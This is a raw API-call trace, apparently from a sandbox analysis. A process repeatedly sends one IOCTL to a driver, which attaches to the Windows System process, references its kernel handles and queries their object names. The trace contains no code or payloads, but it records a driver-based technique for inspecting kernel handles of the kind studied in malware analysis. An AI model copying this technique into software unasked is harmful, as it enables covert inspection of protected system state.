IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.428] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.428] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0119.428] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.428] PsAcquireProcessExitSynchronization () returned 0x0 [0119.428] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.428] ObReferenceObjectByHandle (in: Handle=0xffffffff80000204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002ee4f20, HandleInformation=0x0) returned 0x0 [0119.428] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.428] PsReleaseProcessExitSynchronization () returned 0x2 [0119.428] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.428] ObQueryNameString (in: Object=0xfffffa8002ee4f20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.428] ObfDereferenceObject (Object=0xfffffa8002ee4f20) returned 0x1 [0119.428] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.428] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.428] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0119.428] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.428] PsAcquireProcessExitSynchronization () returned 0x0 [0119.428] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.429] ObReferenceObjectByHandle (in: Handle=0xffffffff80000210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002ff1610, HandleInformation=0x0) returned 0x0 [0119.429] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.429] PsReleaseProcessExitSynchronization () returned 0x2 [0119.429] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.429] ObQueryNameString (in: Object=0xfffffa8002ff1610, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.429] ObfDereferenceObject (Object=0xfffffa8002ff1610) returned 0x1 [0119.429] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.429] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0119.429] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.429] PsAcquireProcessExitSynchronization () returned 0x0 [0119.429] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.429] ObReferenceObjectByHandle (in: Handle=0xffffffff80000214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002eee850, HandleInformation=0x0) returned 0x0 [0119.429] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.429] PsReleaseProcessExitSynchronization () returned 0x2 [0119.429] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.429] ObQueryNameString (in: Object=0xfffffa8002eee850, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.429] ObfDereferenceObject (Object=0xfffffa8002eee850) returned 0x1 [0119.429] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.429] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.429] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.429] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0119.429] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.429] PsAcquireProcessExitSynchronization () returned 0x0 [0119.429] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.429] ObReferenceObjectByHandle (in: Handle=0xffffffff80000218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002ff3570, HandleInformation=0x0) returned 0x0 [0119.429] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.429] PsReleaseProcessExitSynchronization () returned 0x2 [0119.430] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.430] ObQueryNameString (in: Object=0xfffffa8002ff3570, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.430] ObfDereferenceObject (Object=0xfffffa8002ff3570) returned 0x11 [0119.430] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.430] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.430] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.430] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0119.430] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.430] PsAcquireProcessExitSynchronization () returned 0x0 [0119.430] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.430] ObReferenceObjectByHandle (in: Handle=0xffffffff80000264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8009f01960, HandleInformation=0x0) returned 0x0 [0119.430] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.430] PsReleaseProcessExitSynchronization () returned 0x2 [0119.430] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.430] ObQueryNameString (in: Object=0xfffffa8009f01960, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.430] ObfDereferenceObject (Object=0xfffffa8009f01960) returned 0x1 [0119.430] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.430] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.430] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.430] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0119.430] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.430] PsAcquireProcessExitSynchronization () returned 0x0 [0119.430] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.430] ObReferenceObjectByHandle (in: Handle=0xffffffff80000274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800308a050, HandleInformation=0x0) returned 0x0 [0119.430] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.430] PsReleaseProcessExitSynchronization () returned 0x2 [0119.430] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.430] ObQueryNameString (in: Object=0xfffffa800308a050, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.430] ObfDereferenceObject (Object=0xfffffa800308a050) returned 0x1 [0119.431] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.431] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.431] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.431] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0119.431] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.431] PsAcquireProcessExitSynchronization () returned 0x0 [0119.431] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.431] ObReferenceObjectByHandle (in: Handle=0xffffffff8000027c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8009f01640, HandleInformation=0x0) returned 0x0 [0119.431] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.431] PsReleaseProcessExitSynchronization () returned 0x2 [0119.431] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.431] ObQueryNameString (in: Object=0xfffffa8009f01640, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.431] ObfDereferenceObject (Object=0xfffffa8009f01640) returned 0x1 [0119.431] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.431] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.431] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.431] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0119.431] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.431] PsAcquireProcessExitSynchronization () returned 0x0 [0119.431] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.431] ObReferenceObjectByHandle (in: Handle=0xffffffff80000280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8009f01320, HandleInformation=0x0) returned 0x0 [0119.431] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.431] PsReleaseProcessExitSynchronization () returned 0x2 [0119.431] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.431] ObQueryNameString (in: Object=0xfffffa8009f01320, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.431] ObfDereferenceObject (Object=0xfffffa8009f01320) returned 0x1 [0119.431] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.431] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.431] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.431] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0119.431] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.432] PsAcquireProcessExitSynchronization () returned 0x0 [0119.432] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.432] ObReferenceObjectByHandle (in: Handle=0xffffffff80000284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030a9e50, HandleInformation=0x0) returned 0x0 [0119.432] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.432] PsReleaseProcessExitSynchronization () returned 0x2 [0119.432] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.432] ObQueryNameString (in: Object=0xfffffa80030a9e50, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.432] ObfDereferenceObject (Object=0xfffffa80030a9e50) returned 0x1 [0119.432] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.432] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.432] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0119.432] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.432] PsAcquireProcessExitSynchronization () returned 0x0 [0119.432] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.432] ObReferenceObjectByHandle (in: Handle=0xffffffff80000294, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800308c170, HandleInformation=0x0) returned 0x0 [0119.432] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.432] PsReleaseProcessExitSynchronization () returned 0x2 [0119.432] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.432] ObQueryNameString (in: Object=0xfffffa800308c170, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.432] ObfDereferenceObject (Object=0xfffffa800308c170) returned 0x1 [0119.432] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.432] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.432] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0119.432] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.432] PsAcquireProcessExitSynchronization () returned 0x0 [0119.432] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.432] ObReferenceObjectByHandle (in: Handle=0xffffffff80000298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030a9050, HandleInformation=0x0) returned 0x0 [0119.432] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.432] PsReleaseProcessExitSynchronization () returned 0x2 [0119.432] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.433] ObQueryNameString (in: Object=0xfffffa80030a9050, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.433] ObfDereferenceObject (Object=0xfffffa80030a9050) returned 0x1 [0119.433] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.433] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.433] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.433] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0119.433] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.433] PsAcquireProcessExitSynchronization () returned 0x0 [0119.433] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.433] ObReferenceObjectByHandle (in: Handle=0xffffffff8000029c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030a9cf0, HandleInformation=0x0) returned 0x0 [0119.433] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.433] PsReleaseProcessExitSynchronization () returned 0x2 [0119.433] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.433] ObQueryNameString (in: Object=0xfffffa80030a9cf0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.433] ObfDereferenceObject (Object=0xfffffa80030a9cf0) returned 0x1 [0119.433] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.433] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.433] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.433] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xf6, lpOverlapped=0x0) returned 1 [0119.433] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.433] PsAcquireProcessExitSynchronization () returned 0x0 [0119.433] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.433] ObReferenceObjectByHandle (in: Handle=0xffffffff800002b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002c27aa0, HandleInformation=0x0) returned 0x0 [0119.433] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.433] PsReleaseProcessExitSynchronization () returned 0x2 [0119.433] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.433] ObQueryNameString (in: Object=0xfffffa8002c27aa0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.433] ObfDereferenceObject (Object=0xfffffa8002c27aa0) returned 0x2 [0119.433] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.434] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.434] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.434] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.434] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.434] PsAcquireProcessExitSynchronization () returned 0x0 [0119.434] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.434] ObReferenceObjectByHandle (in: Handle=0xffffffff800002bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021877b0, HandleInformation=0x0) returned 0x0 [0119.434] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.434] PsReleaseProcessExitSynchronization () returned 0x2 [0119.434] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.434] ObQueryNameString (in: Object=0xfffffa80021877b0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.434] ObfDereferenceObject (Object=0xfffffa80021877b0) returned 0x2 [0119.434] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.434] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.434] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.434] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0119.434] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.434] PsAcquireProcessExitSynchronization () returned 0x0 [0119.434] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.434] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030d6f20, HandleInformation=0x0) returned 0x0 [0119.434] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.434] PsReleaseProcessExitSynchronization () returned 0x2 [0119.434] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.434] ObQueryNameString (in: Object=0xfffffa80030d6f20, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.435] ObfDereferenceObject (Object=0xfffffa80030d6f20) returned 0x2 [0119.435] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.435] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.435] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x9c, lpOverlapped=0x0) returned 1 [0119.435] 